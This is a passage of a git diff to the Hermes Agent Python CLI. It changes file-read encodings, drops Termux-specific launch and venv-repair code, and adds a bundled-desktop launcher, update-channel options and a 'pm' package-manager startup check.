"_get_origin_url", "_has_upstream_remote", - "_install_psutil_android_compat", "_invalidate_update_cache", - "_is_android_python", "_is_fork", "_leftover_pausable_gateway_pids", "_ledger_manual_serve_holders", @@ -5146,7 +4865,6 @@ _LAZY_COMMAND_EXPORTS = { "_sync_with_upstream_if_needed", "_update_node_dependencies", "_update_via_zip", - "_upgrade_pip_before_lazy_refresh", "_validate_critical_files_syntax", "_validate_critical_modules_import", "_venv_core_imports_healthy", @@ -5944,7 +5662,7 @@ def cmd_version(args): def cmd_uninstall(args): - """Uninstall Hermes Agent (or just the Chat GUI with --gui).""" + """Uninstall Hermes Agent (or just the Chat GUI / user data).""" # Machine-readable install snapshot for the desktop app's uninstall UI. # Must run before any TTY gate — it's called from a non-interactive child. if getattr(args, "gui_summary", False): @@ -5953,6 +5671,16 @@ def cmd_uninstall(args): print(json.dumps(gui_install_summary())) return + # Data-only removal. Valid on every install kind (source, bundled + # desktop app, Nix, Docker) — it never touches code. + if getattr(args, "data", False): + if not getattr(args, "yes", False): + _require_tty("uninstall --data") + from hermes_cli.uninstall import run_data_uninstall + + run_data_uninstall(args) + return + # GUI-only uninstall. The desktop app shells out to this non-interactively # with --yes, so only gate on a TTY when we actually need to prompt. if getattr(args, "gui", False): @@ -6058,7 +5786,7 @@ def _sweep_stale_bytecode_if_checkout_changed() -> None: return # non-git install — the ZIP update path clears explicitly stamp_path = PROJECT_ROOT / _BYTECODE_FINGERPRINT_FILE try: - recorded = stamp_path.read_text(encoding="utf-8").strip() + recorded = stamp_path.read_text(encoding="utf-8-sig").strip() except OSError: recorded = "" if recorded == fingerprint: @@ -6103,7 +5831,7 @@ def _web_ui_build_needed(web_dir: Path) -> bool: if not stamp_file.is_file(): return True try: - stamp_data = json.loads(stamp_file.read_text(encoding="utf-8")) + stamp_data = json.loads(stamp_file.read_text(encoding="utf-8-sig")) except (OSError, json.JSONDecodeError): return True if not isinstance(stamp_data, dict): @@ -6143,7 +5871,7 @@ def _compute_web_ui_content_hash(project_root: Path, web_dir: Path) -> str: gitignore = project_root / ".gitignore" lines: list[str] = [] if gitignore.is_file(): - lines = gitignore.read_text(encoding="utf-8").splitlines() + lines = gitignore.read_text(encoding="utf-8-sig").splitlines() spec = PathSpec.from_lines("gitignore", lines) # Root workspace config (single package-lock.json covers all workspaces). @@ -6312,7 +6040,7 @@ def _nixos_build_env() -> dict[str, str] | None: import re try: - os_release = Path("/etc/os-release").read_text(encoding="utf-8") + os_release = Path("/etc/os-release").read_text(encoding="utf-8-sig") except OSError: return None if not re.search(r"^ID=nixos$", os_release, re.M): @@ -6620,8 +6348,6 @@ def _do_build_web_ui(web_dir: Path, *, fatal: bool = False) -> bool: # present (same guard as _update_node_dependencies()). if (npm_cwd / "ui-tui" / "package.json").exists(): npm_workspace_args = ("--workspace", "ui-tui", *npm_workspace_args) - if _is_termux_startup_environment(): - npm_cwd, npm_workspace_args = _termux_workspace_install_context(web_dir) def _install_web_deps(*, silent: bool) -> "subprocess.CompletedProcess": return _run_npm_install_deterministic( @@ -6757,7 +6483,7 @@ def _compute_desktop_content_hash(project_root: Path) -> str: gitignore = project_root / ".gitignore" lines: list[str] = [] if gitignore.is_file(): - lines = gitignore.read_text(encoding="utf-8").splitlines() + lines = gitignore.read_text(encoding="utf-8-sig").splitlines() spec = PathSpec.from_lines("gitignore", lines) # Root workspace config @@ -6840,7 +6566,7 @@ def _renderer_bundle_torn(dist_dir: Path) -> bool: reported as torn — the missing-bundle guards own those cases. """ try: - html = (dist_dir / "index.html").read_text(encoding="utf-8", errors="replace") + html = (dist_dir / "index.html").read_text(encoding="utf-8-sig", errors="replace") except OSError: return False @@ -6884,7 +6610,7 @@ def _desktop_build_needed(desktop_dir: Path, project_root: Path, *, source_mode: return True try: - stamp_data = json.loads(stamp_file.read_text(encoding="utf-8")) + stamp_data = json.loads(stamp_file.read_text(encoding="utf-8-sig")) except (OSError, json.JSONDecodeError, KeyError): return True @@ -8091,7 +7817,7 @@ def _desktop_linux_needs_no_sandbox() -> bool: if hasattr(os, "geteuid") and os.geteuid() == 0: return False try: - with open("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", encoding="utf-8") as f: + with open("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", encoding="utf-8-sig") as f: return f.read().strip() == "1" except OSError: return False @@ -8266,10 +7992,72 @@ def _register_linux_desktop_entry() -> None: print(f"⚠ Could not install the desktop launcher entry: {exc}") +def _launch_bundled_desktop( + args: argparse.Namespace, env: dict, electron_flags: list[str] +) -> None: + """Start the desktop app this CLI ships inside, then exit. + + A bundled install has no source tree to build: the app is a signed, + read-only artifact and this Python is a passenger in its resources. + So the whole build ladder below is skipped and the launcher is started + DETACHED — the user ran a CLI command, and the app must outlive the + terminal it was typed into. The app's own single-instance lock turns a + second run into "focus the running window". + + Never returns. + """ + from hermes_cli.bundled_app import NotBundledApp, launch_detached, resolve_bundle_layout + + refused = [ + flag + for flag, name in ( + ("--source", "source"), + ("--build-only", "build_only"), + ("--force-build", "force_build"), + ) + if getattr(args, name, False) + ] + if refused: + print(f"✗ {', '.join(refused)} cannot apply to a bundled Hermes install.") + print(" This app ships prebuilt and has no desktop source tree to build.") + sys.exit(2) + + try: + layout = resolve_bundle_layout(PROJECT_ROOT) + except NotBundledApp as exc: + # The stamp says bundled, so a tree that is not one is a damaged or + # mispackaged install. Report it — degrading to the build ladder + # would run npm inside the app's own resources. + print(f"✗ This Hermes is stamped as a bundled desktop install, but {exc}.") + print(" The install is damaged — reinstall Hermes from the website.") + sys.exit(1) + + if layout.launcher is None: + print(f"✗ Found no Hermes Desktop launcher in {layout.app_root}.") + print(" The install is damaged — reinstall Hermes from the website.") + sys.exit(1) + + launch_command = [str(layout.launcher)] + if not _desktop_linux_sandbox_fixup(layout.launcher): + if _desktop_linux_needs_no_sandbox() and _desktop_linux_sandbox_helper_is_regular_file(layout.launcher): + print("⚠ Falling back to --no-sandbox because this Linux host restricts unprivileged user namespaces and the Electron sandbox helper could not be configured.") + launch_command.append("--no-sandbox") + else: + sys.exit(1) + + launch_command.extend(electron_flags) + pid = launch_detached(launch_command, env=env, cwd=layout.app_root) + print(f"→ Launched Hermes Desktop: {' '.join(launch_command)} (pid {pid})") + sys.exit(0) + + def cmd_gui(args: argparse.Namespace): """Build and launch the native Electron desktop GUI.""" + from hermes_cli.steward import is_bundled_payload + desktop_dir = PROJECT_ROOT / "apps" / "desktop" - if not (desktop_dir / "package.json").exists(): + bundled = is_bundled_payload(PROJECT_ROOT) + if not bundled and not (desktop_dir / "package.json").exists(): print(f"Desktop GUI source not found at: {desktop_dir}") sys.exit(1) @@ -8327,6 +8115,13 @@ def cmd_gui(args: argparse.Namespace): skip_build = getattr(args, "skip_build", False) force_build = getattr(args, "force_build", False) + # A bundled install IS the app: no source tree, no build, and the + # launcher is a sibling of this payload rather than something we + # produce. Every rung below assembles a checkout build, so the sealed + # shape leaves here with the env it just built. + if bundled: + _launch_bundled_desktop(args, env, config_electron_flags) + # macOS-only one-shot: create a self-signed code-signing identity so TCC # grants survive rebuilds, then exit without building/launching. if getattr(args, "setup_tcc_identity", False): @@ -8734,7 +8529,7 @@ def _get_systemd_service_for_pid(pid: int) -> str | None: cgroup_path = Path(f"/proc/{pid}/cgroup") if not cgroup_path.is_file(): return None - text = cgroup_path.read_text(encoding="utf-8", errors="replace") + text = cgroup_path.read_text(encoding="utf-8-sig", errors="replace") for line in text.splitlines(): line = line.strip() # Format: 0::/system.slice/hermes-serve.service @@ -8775,7 +8570,7 @@ def _get_pid_cgroup_path(pid: int) -> str | None: cgroup_path = Path(f"/proc/{pid}/cgroup") if not cgroup_path.is_file(): return None - text = cgroup_path.read_text(encoding="utf-8", errors="replace") + text = cgroup_path.read_text(encoding="utf-8-sig", errors="replace") for line in text.splitlines(): line = line.strip() parts = line.split("::", 1) @@ -8932,8 +8727,7 @@ def _respawn_dashboard_processes(commands: list[list[str]]) -> list[list[str]]: def _load_installable_optional_extras(group: str = "all") -> list[str]: """Return optional extras referenced by a dependency group. - ``group`` is usually ``all`` (desktop/server broad install) or - ``termux-all`` (Termux-compatible broad install). + ``group`` is usually ``all`` (the broad install profile). """ try: import tomllib @@ -9107,35 +8901,25 @@ def _recover_from_interrupted_install() -> None: def _recover_lazy_refresh_marker_locked() -> None: - """Heal ``.lazy-refresh-incomplete`` via confirmed import-probe repair.""" + """Heal ``.lazy-refresh-incomplete``: the venv stamp is the authority, + so recovery is one pm sync against uv.lock + the enabled extras.""" print( "⚠ A previous lazy-backend refresh may have left the venv unhealthy — " - "running import-based package repair..." + "re-syncing against uv.lock..." ) - install_prefix, install_env = _default_venv_install_target() - status = _repair_venv_via_import_probes(install_prefix, env=install_env) - if status in ("healthy", "repaired"): + try: + import pm + + pm.sync_venv(explicit=True) _clear_lazy_refresh_incomplete_marker() - print("✓ Lazy-refresh venv recovery confirmed — install is healthy again.") - return - if status == "indeterminate": + print("✓ Venv re-synced — install is healthy again.") + except Exception as exc: + logger.debug("Lazy-refresh recovery failed: %s", exc) print( - " ⚠ Import probes unavailable — cannot confirm venv health. " - "Leaving `.lazy-refresh-incomplete` for the next launch." - ) - else: - print( - " ⚠ Lazy-refresh package repair incomplete. " - "Leaving `.lazy-refresh-incomplete` for the next launch." - ) - print(" Recover manually with:") - all_specs = _lazy_refresh_repair_specs( - sorted(set(_LAZY_REFRESH_REPAIR_PACKAGES.values())) - ) - print( - f" {' '.join(install_prefix)} install --force-reinstall " - + " ".join(shlex.quote(s) for s in all_specs) + " ⚠ Venv re-sync failed. Leaving `.lazy-refresh-incomplete` " + "for the next launch." ) + print(" Recover manually with: hermes pm install") def _recover_core_update_marker_locked() -> None: @@ -9155,24 +8939,16 @@ def _recover_core_update_marker_locked() -> None: # still be replaced. Package-only import repair may help as first aid but # must NEVER clear this core marker on its own (#58004 review). self_locked = _windows_running_hermes_launcher_locked() - if self_locked: - install_prefix, install_env = _default_venv_install_target() - print( - " → Running from hermes.exe; applying package-only first aid, " - "then quarantined full reinstall (core marker stays until that " - "succeeds)..." - ) - _repair_venv_via_import_probes(install_prefix, env=install_env) try: from hermes_cli import _install_repair as _ir - # ensure_uv bootstraps the installer itself when missing (the early - # pass's stdlib-only lookup cannot); keeping it here means the late - # path still self-heals a venv whose uv vanished mid-update. - from hermes_cli.managed_uv import ensure_uv + # pm realizes uv when missing (the early pass's stdlib-only + # lookup cannot); keeping it here means the late path still + # self-heals a venv whose uv vanished mid-update. + import pm - ensure_uv() + pm.uv() # Delegate the install itself to the shared stdlib executor so both # this late path and the pre-import early pass run exactly the same @@ -9365,20 +9141,15 @@ def _reexec_dependency_sync_off_windows_shim() -> bool: def _default_venv_install_target() -> tuple[list[str], dict[str, str] | None]: """Return ``(install_cmd_prefix, env)`` for the project venv when possible.""" try: - from hermes_cli.managed_uv import ensure_uv - - uv_bin = ensure_uv() - except Exception: - uv_bin = None - if uv_bin: + import pm from hermes_constants import project_venv_dir venv_dir = project_venv_dir(PROJECT_ROOT) or PROJECT_ROOT / "venv" - env = {**os.environ, "VIRTUAL_ENV": str(venv_dir)} - if _is_termux_env(env): - env.pop("PYTHONPATH", None) - env.pop("PYTHONHOME", None) - return [uv_bin, "pip"], env + uv_bin, uv_env = pm.uv(venv=venv_dir) + except Exception: + uv_bin, uv_env = None, None + if uv_bin: + return [uv_bin, "pip"], uv_env return [sys.executable, "-m", "pip"], None @@ -9795,222 +9566,6 @@ def _cleanup_quarantined_exes(scripts_dir: Path | None = None) -> None: pass # still locked or in use — try again next run -# Import probes for venv corruption after a failed lazy ``uv pip install``. -# Metadata can look fine while ``.py`` files were removed mid-install (#57828). -# Canonical tables live in the stdlib-only ``_early_recovery`` module (which -# also probes/repairs BEFORE this module's third-party imports can run) so the -# early and full recovery layers can never drift apart. -_LAZY_REFRESH_IMPORT_PROBES: tuple[tuple[str, str], ...] = ( - _early_recovery_mod.LAZY_REFRESH_IMPORT_PROBES -) - -_LAZY_REFRESH_REPAIR_PACKAGES: dict[str, str] = ( - _early_recovery_mod.LAZY_REFRESH_REPAIR_PACKAGES -) - - -def _run_package_only_install( - cmd: list[str], - *, - env: dict[str, str] | None = None, -) -> None: - """Run a package-only pip/uv install without quarantining entry-point shims. - - ``pip install --upgrade pip`` and ``--force-reinstall `` do not - rewrite ``hermes.exe``. The editable-install quarantine path would rename - shims without uv recreating them on Windows (#57828). - """ - _run_install_with_heartbeat(cmd, env=env) - - -def _lazy_refresh_repair_specs(packages: list[str]) -> list[str]: - """Map repair package names to their declared pin specs in pyproject.toml.""" - try: - import tomllib # Python 3.11+ - except ImportError: # pragma: no cover - return packages - - pyproject = PROJECT_ROOT / "pyproject.toml" - if not pyproject.is_file(): - return packages - - try: - with open(pyproject, "rb") as f: - raw_deps = tomllib.load(f).get("project", {}).get("dependencies", []) or [] - except Exception as exc: - logger.debug("lazy refresh repair spec lookup failed: %s", exc) - return packages - - name_to_spec: dict[str, str] = {} - try: - from packaging.requirements import Requirement # type: ignore - - for spec in raw_deps: - try: - req = Requirement(spec) - name_to_spec[req.name.lower()] = spec.split(";", 1)[0].strip() - except Exception: - continue - except Exception: - for spec in raw_deps: - head = spec.split(";", 1)[0].strip() - bare = head - for op in ("==", ">=", "<=", "~=", ">", "<", "!="): - if op in bare: - bare = bare.split(op, 1)[0] - break - key = bare.strip().split("[", 1)[0].strip().lower() - if key: - name_to_spec[key] = head - - return [name_to_spec.get(pkg.lower(), pkg) for pkg in packages] - - -def _detect_broken_lazy_refresh_imports( - install_cmd_prefix: list[str], - *, - env: dict[str, str] | None = None, -) -> list[str] | None: - """Probe lazy-refresh packages via real imports. - - Returns: - - ``[]`` when probes ran and every package imported cleanly - - ``[dist, ...]`` when probes ran and some packages failed - - ``None`` when the probe could not run (missing venv Python, subprocess - failure, non-zero probe exit) — this is *indeterminate*, not healthy - """ - venv_python = _resolve_install_target_python(install_cmd_prefix, env) - if venv_python is None: - return None - - probe_lines = "\n".join( - f" ({mod!r}, {attr!r})," for mod, attr in _LAZY_REFRESH_IMPORT_PROBES - ) - check_script = ( - "import os\n" - "import sys\n" - "probes = [\n" - f"{probe_lines}\n" - "]\n" - "broken = []\n" - "for mod, attr in probes:\n" - " try:\n" - " imported = __import__(mod)\n" - " if not hasattr(imported, attr):\n" - " broken.append(mod)\n" - " elif mod == 'certifi':\n" - " # The module can import cleanly while cacert.pem is\n" - " # missing/corrupt (brew Python upgrade, interrupted venv\n" - " # rebuild) - every TLS call then fails (#29866).\n" - " bundle = imported.where()\n" - " if not os.path.isfile(bundle) or os.path.getsize(bundle) < 1024:\n" - " broken.append(mod)\n" - " except Exception:\n" - " broken.append(mod)\n" - "print('\\n'.join(broken))\n" - ) - try: - result = subprocess.run( - [str(venv_python), "-c", check_script], - capture_output=True, - text=True, encoding="utf-8", errors="replace", - check=False, - env=env, - ) - except Exception as exc: - logger.debug("lazy refresh import probe failed: %s", exc) - return None - - if result.returncode != 0: - logger.debug( - "lazy refresh import probe exited %s: %s", - result.returncode, - (result.stderr or "")[:200], - ) - return None - - broken_modules = [ - line.strip() for line in result.stdout.splitlines() if line.strip() - ] - packages: list[str] = [] - seen: set[str] = set() - for mod in broken_modules: - pkg = _LAZY_REFRESH_REPAIR_PACKAGES.get(mod) - if pkg and pkg not in seen: - seen.add(pkg) - packages.append(pkg) - return packages - - -def _repair_broken_lazy_refresh_imports( - install_cmd_prefix: list[str], - packages: list[str], - *, - env: dict[str, str] | None = None, -) -> bool: - """Force-reinstall ``packages`` and re-probe imports. Never raises.""" - if not packages: - return True - - specs = _lazy_refresh_repair_specs(packages) - try: - _run_package_only_install( - install_cmd_prefix + ["install", "--force-reinstall", *specs], - env=env, - ) - except subprocess.CalledProcessError as exc: - logger.warning("lazy refresh venv repair failed: %s", exc) - return False - - after = _detect_broken_lazy_refresh_imports(install_cmd_prefix, env=env) - # Indeterminate re-probe is not confirmed success. - return after == [] - - -def _repair_venv_via_import_probes( - install_cmd_prefix: list[str], - *, - env: dict[str, str] | None = None, -) -> str: - """Probe imports and force-reinstall any broken lazy-refresh packages. - - Uses real ``import`` checks (not distribution metadata) so a venv where - METADATA remains but ``.py`` files were wiped mid-install is still - detected (#57828). Package-only reinstall — never rewrites ``hermes.exe``. - - Never raises. Returns one of: - - ``"healthy"`` — probes ran and found nothing broken - - ``"repaired"`` — probes found breakage and force-reinstall confirmed clean - - ``"failed"`` — probes found breakage and repair did not confirm clean - - ``"indeterminate"`` — probes could not run; do NOT treat as healthy - """ - broken = _detect_broken_lazy_refresh_imports(install_cmd_prefix, env=env) - if broken is None: - print( - " ⚠ Import probes unavailable — cannot confirm venv package health." - ) - return "indeterminate" - if not broken: - return "healthy" - print( - " → Detected corrupted venv packages via import probes: " - f"{', '.join(broken)}; repairing..." - ) - if _repair_broken_lazy_refresh_imports( - install_cmd_prefix, broken, env=env - ): - print(" ✓ Venv repair succeeded") - return "repaired" - manual = " ".join( - shlex.quote(s) for s in _lazy_refresh_repair_specs(broken) - ) - print(" ⚠ Venv repair incomplete. Run manually, then `hermes update`:") - print( - f" {' '.join(install_cmd_prefix)} install --force-reinstall {manual}" - ) - return "failed" - - def _is_uv_command(install_cmd_prefix: list[str]) -> bool: """True when the install command is a uv/uvx invocation. @@ -10073,8 +9628,7 @@ def _install_python_dependencies_with_optional_fallback( ) -> None: """Install base deps plus as many optional extras as the environment supports. - By default this targets ``.[all]``; Termux callers can pass - ``group='termux-all'`` to use the curated Android-compatible profile. + By default this targets ``.[all]``. On Windows, pre-renames live ``hermes.exe`` / ``hermes-gateway.exe`` shims in the venv Scripts dir before each install attempt so uv can write fresh @@ -10477,10 +10031,6 @@ def _resolve_install_target_python( return None -def _is_termux_env(env: dict[str, str] | None = None) -> bool: - return _is_termux_startup_environment(env) - - def _is_windows_npm_path(npm_path: str) -> bool: """Return True if ``npm_path`` points at a Windows npm shim. @@ -10770,6 +10320,53 @@ def cmd_update(args): print_update_plan(collect_runtime_inventory()) return + # --install-id / --set-channel work on any non-external install and + # never touch the tree — handle them before the admission gate so the + # desktop About page and channel switching work from a bundled CLI. + if getattr(args, "install_id", False): + from hermes_cli.update_channel import install_id + + print(f"{install_id(PROJECT_ROOT)} ({PROJECT_ROOT})") + sys.exit(0) + + if getattr(args, "set_channel", None): + from hermes_cli.config import detect_install_method + from hermes_cli.update_channel import ( + CHANNEL_NIGHTLY, + CHANNEL_STABLE, + nightly_normalized_note, + set_install_channel, + ) + + try: + sha16 = set_install_channel(args.set_channel, PROJECT_ROOT) + except ValueError as exc: + print(f"✗ {exc}") + sys.exit(1) + print(f"✓ Channel '{args.set_channel}' recorded for install {sha16}.") + install_method = detect_install_method(PROJECT_ROOT) + if args.set_channel == CHANNEL_NIGHTLY: + if install_method == "git": + print(nightly_normalized_note()) + else: + print("⚠ Nightly builds move fast: expect forward-incompatible") + print(" state — data written by newer code may not load in stable.") + elif args.set_channel == CHANNEL_STABLE: + # Honest wait: a nightly build outversions today's stable, and + # the updater never downgrades. Say when the switch takes + # effect, and where the impatient path is. + from hermes_cli.steward import read_install_stamp + + version = read_install_stamp(Path(PROJECT_ROOT)).get("displayVersion") or "" + if "-nightly." in version: + base = version.split("-nightly.")[0] + print(f"→ You are on {version}. Stable updates resume once a") + print(f" stable release reaches v{base} — until then this install") + print(" stays where it is. To switch now, reinstall stable:") + print(" https://hermes-agent.nousresearch.com/") + print(" (Nightly state may not load in older stable builds.)") + sys.exit(0) + # Image-managed / package-managed admission gate (#91277 Phase 3): one # shared decision for every mutation surface. Consults the baked image # provenance marker first (authoritative, fail-closed on malformed), @@ -11908,7 +11505,7 @@ def _read_ssh_session_token_file(path: str) -> str: if hasattr(os, "getuid") and (file_stat.st_mode & 0o777) & ~0o600: raise SystemExit("--ssh-session-token-file has unsafe permissions") - with os.fdopen(file_fd, "r", encoding="utf-8") as token_stream: + with os.fdopen(file_fd, "r", encoding="utf-8-sig") as token_stream: file_fd = -1 token = token_stream.read(65) @@ -12065,6 +11662,12 @@ def cmd_dashboard(args): # Exact env preservation: HERMES_HOME is explicitly pinned to the # machine root below — the factory must not re-inject a profile home. env = build_subprocess_env(scrub_secrets=False, inherit_profile_home=False) + # Same-interpreter re-exec (`python -m hermes_cli.main`): the ambient + # PYTHONPATH must survive the env factory's Hermes-owned strip — + # under no-boot-through-venv the child's imports arrive through it. + from hermes_cli._subprocess_compat import restore_ambient_pythonpath + + env = restore_ambient_pythonpath(env) # Pin the child to the machine ROOT, not the launching profile's # HERMES_HOME. We must resolve the root explicitly instead of just # dropping HERMES_HOME: in the Docker layout the machine root is @@ -12361,7 +11964,7 @@ _BUILTIN_SUBCOMMANDS = frozenset( "dump", "egress", "fallback", "gateway", "hooks", "import", "import-agent", "insights", "gui", "desktop", "kanban", "login", "logout", "logs", "lsp", "mcp", "memory", "migrate", "moa", "journey", "memory-graph", "learning", - "model", "monitoring", "pairing", "pause", "peer", "pets", "plugins", "portal", "profile", + "model", "monitoring", "pairing", "pause", "peer", "pets", "plugins", "pm", "portal", "profile", "project", "proxy", "prompt-size", "resume", @@ -12501,7 +12104,7 @@ def _prepare_agent_startup(args) -> None: # plugin/tool discovery below imports tools.approval, which freezes # _YOLO_MODE_FROZEN at import time (PR #7994 security design). main()'s # dispatch path also sets this earlier, but _prepare_agent_startup() is - # reachable from other launchers too (e.g. the Termux fast-CLI path), + # reachable from other launchers too, # so the guarantee lives here where the import is actually triggered # (#60328). if getattr(args, "yolo", False): @@ -12624,9 +12227,7 @@ def _try_fast_chat_launch() -> bool: Bails out (returns False) whenever the invocation is not certainly a chat launch — a subcommand positional, ``--help``, unknown flags — so - every other path still goes through the full parser unchanged. Mirrors - ``_try_termux_fast_cli_launch`` minus the Termux-specific deferred - startup; kept separate so phone-tuned behavior doesn't leak to desktops. + every other path still goes through the full parser unchanged. """ if os.environ.get("HERMES_DISABLE_FAST_CHAT_LAUNCH") == "1": return False @@ -12642,7 +12243,7 @@ def _try_fast_chat_launch() -> bool: except Exception: return False # TUI launches have their own startup path (bounded MCP joins etc.) — - # keep them on full dispatch outside Termux. + # keep them on full dispatch. if _wants_tui_early(argv): return False if _first_positional_argv() not in {None, "chat"}: @@ -12688,119 +12289,6 @@ def _try_fast_chat_launch() -> bool: return True -def _try_termux_fast_cli_launch() -> bool: - """Run obvious Termux non-TUI chat/oneshot/version paths on a light parser.""" - if not _is_termux_startup_environment(): - return False - if os.environ.get("HERMES_TERMUX_DISABLE_FAST_CLI") == "1": - return False - - argv = sys.argv[1:] - if "-h" in argv or "--help" in argv: - return False - # Let the TUI fast path (or full dispatch) handle anything that resolves to - # the TUI — explicit --tui/env or display.interface=tui. `--cli` forces this - # to stay False so the classic fast path still runs. - if _wants_tui_early(argv): - return False - - if _is_termux_fast_version_argv(argv): - _print_version_info(check_updates=True) - return True - - first = _first_positional_argv() - has_oneshot = any( - arg == "-z" or arg == "--oneshot" or arg.startswith("--oneshot=") - for arg in argv - ) - if not has_oneshot and first not in {None, "chat"}: - return False - - from hermes_cli._parser import build_top_level_parser - - parser, _subparsers, chat_parser = build_top_level_parser() - chat_parser.set_defaults(func=cmd_chat) - args = parser.parse_args(_coalesce_session_name_args(argv)) - - if getattr(args, "version", False): - _print_version_info(check_updates=True) - return True - - if getattr(args, "oneshot", None): - _prepare_agent_startup(args) - _confirm_startup_expensive_model_override(args) - _run_and_exit_oneshot( - args.oneshot, - model=getattr(args, "model", None), - provider=getattr(args, "provider", None), - toolsets=getattr(args, "toolsets", None), - skills=getattr(args, "skills", None), - usage_file=getattr(args, "usage_file", None), - ) - - if (args.resume or args.continue_last) and args.command is None: - args.command = "chat" - - if args.command in {None, "chat"}: - _set_chat_arg_defaults(args) - interactive_prompt = not getattr(args, "query", None) and not getattr(args, "image", None) - if interactive_prompt: - # Bare Termux CLI should reach the prompt first and do agent-only - # discovery on the first submitted turn instead of before input. - setattr(args, "compact", True) - os.environ["HERMES_DEFER_AGENT_STARTUP"] = "1" - os.environ["HERMES_FAST_STARTUP_BANNER"] = "1" - if getattr(args, "accept_hooks", False): - os.environ["HERMES_ACCEPT_HOOKS"] = "1" - else: - _prepare_agent_startup(args) - cmd_chat(args) - return True - - return False - - -def _try_termux_fast_tui_launch() -> bool: - """Launch obvious Termux TUI invocations before building every subparser. - - `hermes --tui` is the hot path on phones. The full parser setup imports - command modules for model, fallback, migrate, kanban, bundles, plugins, - etc. even though the TUI immediately execs Node. On Termux only, parse the - lightweight top-level/chat parser and hand off to ``cmd_chat`` when the - invocation is unambiguously the built-in TUI/chat path. - """ - if not _is_termux_startup_environment(): - return False - - if "-h" in sys.argv[1:] or "--help" in sys.argv[1:]: - return False - - wants_tui = _wants_tui_early(sys.argv[1:]) - if not wants_tui: - return False - - first = _first_positional_argv() - if first not in {None, "chat"}: - return False - - from hermes_cli._parser import build_top_level_parser - - parser, _subparsers, chat_parser = build_top_level_parser() - chat_parser.set_defaults(func=cmd_chat) - args = parser.parse_args(_coalesce_session_name_args(sys.argv[1:])) - - # Preserve top-level behaviours whose semantics are not "launch chat/TUI". - if getattr(args, "version", False) or getattr(args, "oneshot", None): - return False - if getattr(args, "command", None) not in {None, "chat"}: - return False - if not _resolve_use_tui(args): - return False - - cmd_chat(args) - return True - - def cmd_memory(args): sub = getattr(args, "memory_command", None) if sub == "off": @@ -13156,13 +12644,36 @@ def main(): except Exception: pass - if _try_termux_fast_tui_launch(): - return - if _try_termux_fast_cli_launch(): - return if _try_fast_chat_launch(): return + # pm owns its own tiny argparse tree; dispatch before the heavy parser. + if sys.argv[1:2] == ["pm"]: + from pm.cli import main as pm_main + + sys.exit(pm_main(sys.argv[2:])) + + # The startup check: O(1) stamp comparisons, no network, no installs. + # One loud line when the install is damaged; never blocks the command. + # Then provision: prepend the store's tool dirs to PATH so reactive + # which('git'|'bash'|'ffmpeg'|...) resolves the bundled binaries. + try: + import pm + + pm.adopt() + problems = pm.check() + if problems: + print( + f"⚠ install out of sync ({'; '.join(problems)}) — run `hermes pm install`", + file=sys.stderr, + ) + else: + pm.activate() + except Exception: + import logging + + logging.getLogger(__name__).debug("pm startup check failed", exc_info=True) + from hermes_cli._parser import build_top_level_parser parser, subparsers, chat_parser = build_top_level_parser() diff --git a/hermes_cli/npm_engine.py b/hermes_cli/npm_engine.py index b26afe6a7e..face1214ca 100644 --- a/hermes_cli/npm_engine.py +++ b/hermes_cli/npm_engine.py @@ -1,4 +1,4 @@ -"""Recover from npm ``EBADENGINE`` failures by upgrading a managed npm. +"""Recover from npm ``EBADENGINE`` failures with the pm-pinned npm. The repo's ``.npmrc`` sets ``engine-strict=true`` and the root ``package.json`` pins an ``engines.npm`` range, so an npm outside that range aborts every @@ -13,39 +13,25 @@ an ``npm --version`` probe before work that usually succeeds), we react to it: npm states the required range in the error, so the recovery reads the constraint straight out of the output it just produced. -Scope of the repair is deliberately narrow. Hermes only upgrades an npm that -lives inside its **own** managed Node tree (``$HERMES_HOME/node``), installing -in place with ``--prefix`` so ``bin/npm`` keeps resolving to the upgraded -``lib/node_modules/npm``. A system / nvm / brew / Nix npm belongs to the user -and their other projects; Hermes never modifies those. When the failing npm is -one of those foreign installs, Hermes instead provisions its own managed Node -tree (the same tree a fresh install creates), upgrades *that* npm into range, -and hands the caller the managed npm to retry with — leaving the user's -toolchain untouched. +Scope of the repair is deliberately narrow. A system / nvm / brew / Nix npm +belongs to the user and their other projects; Hermes never modifies those. +When the failing npm is a foreign install, Hermes ensures its own pm-pinned +node/npm packages are installed and hands the caller pm's npm to retry with — +leaving the user's toolchain untouched. When the failing npm already *is* +pm's npm, the lockfile pin itself is out of range and no runtime action can +fix that; the caller gets the manual guidance instead. """ from __future__ import annotations import json -import os import re -import subprocess import sys -import tempfile from pathlib import Path -from hermes_constants import ( - bootstrap_hermes_managed_node, - get_hermes_home, - managed_node_tree_in_use, - with_hermes_node_path, -) - __all__ = [ "is_ebadengine", "required_npm_range", - "managed_npm_prefix", - "upgrade_managed_npm", "maybe_repair_npm_engine", ] @@ -54,10 +40,6 @@ __all__ = [ _REQUIRED_RE = re.compile(r"Required:\s*(\{.*?\})") _ACTUAL_RE = re.compile(r"Actual:\s*(\{.*?\})") -# Wall-clock cap for the self-upgrade. The measured in-place upgrade of a -# managed tree takes ~1s; this only has to cover a slow registry. -_UPGRADE_TIMEOUT = 300 - def is_ebadengine(output: str) -> bool: """Return True when *output* is an npm engine-compatibility failure.""" @@ -123,7 +105,7 @@ def _repo_npm_range() -> str | None: """Return ``engines.npm`` from the checkout's root ``package.json``.""" package_json = Path(__file__).resolve().parent.parent / "package.json" try: - data = json.loads(package_json.read_text(encoding="utf-8")) + data = json.loads(package_json.read_text(encoding="utf-8-sig")) except (OSError, ValueError): return None engines = data.get("engines") @@ -133,130 +115,26 @@ def _repo_npm_range() -> str | None: return str(value).strip() if value else None -def managed_npm_prefix(npm: str | os.PathLike[str] | None) -> Path | None: - """Return the Hermes-managed Node root *npm* lives in, else ``None``. - - Symlinks are resolved first: an install links ``~/.local/bin/npm`` at - ``$HERMES_HOME/node/bin/npm``, which itself links into - ``lib/node_modules/npm/bin/npm-cli.js``. Every one of those spellings is - the managed npm and must be recognised as such, or the repair silently - declines to fix the very install it owns. - """ - if not npm: - return None - prefix = get_hermes_home() / "node" - try: - resolved = Path(npm).resolve() - prefix_resolved = prefix.resolve() - except OSError: - return None - if resolved == prefix_resolved or prefix_resolved in resolved.parents: - return prefix - return None - - -def _upgrade_env() -> dict[str, str]: - env = with_hermes_node_path() - # The checkout's .npmrc sets `min-release-age`, which would gate the npm - # release we are trying to install. The upgrade runs from a temp cwd so - # that file is out of scope; this neutralises a user-level ~/.npmrc too. - env["npm_config_min_release_age"] = "0" - # `unicode-animations`-style postinstall animations no-op under CI=1. 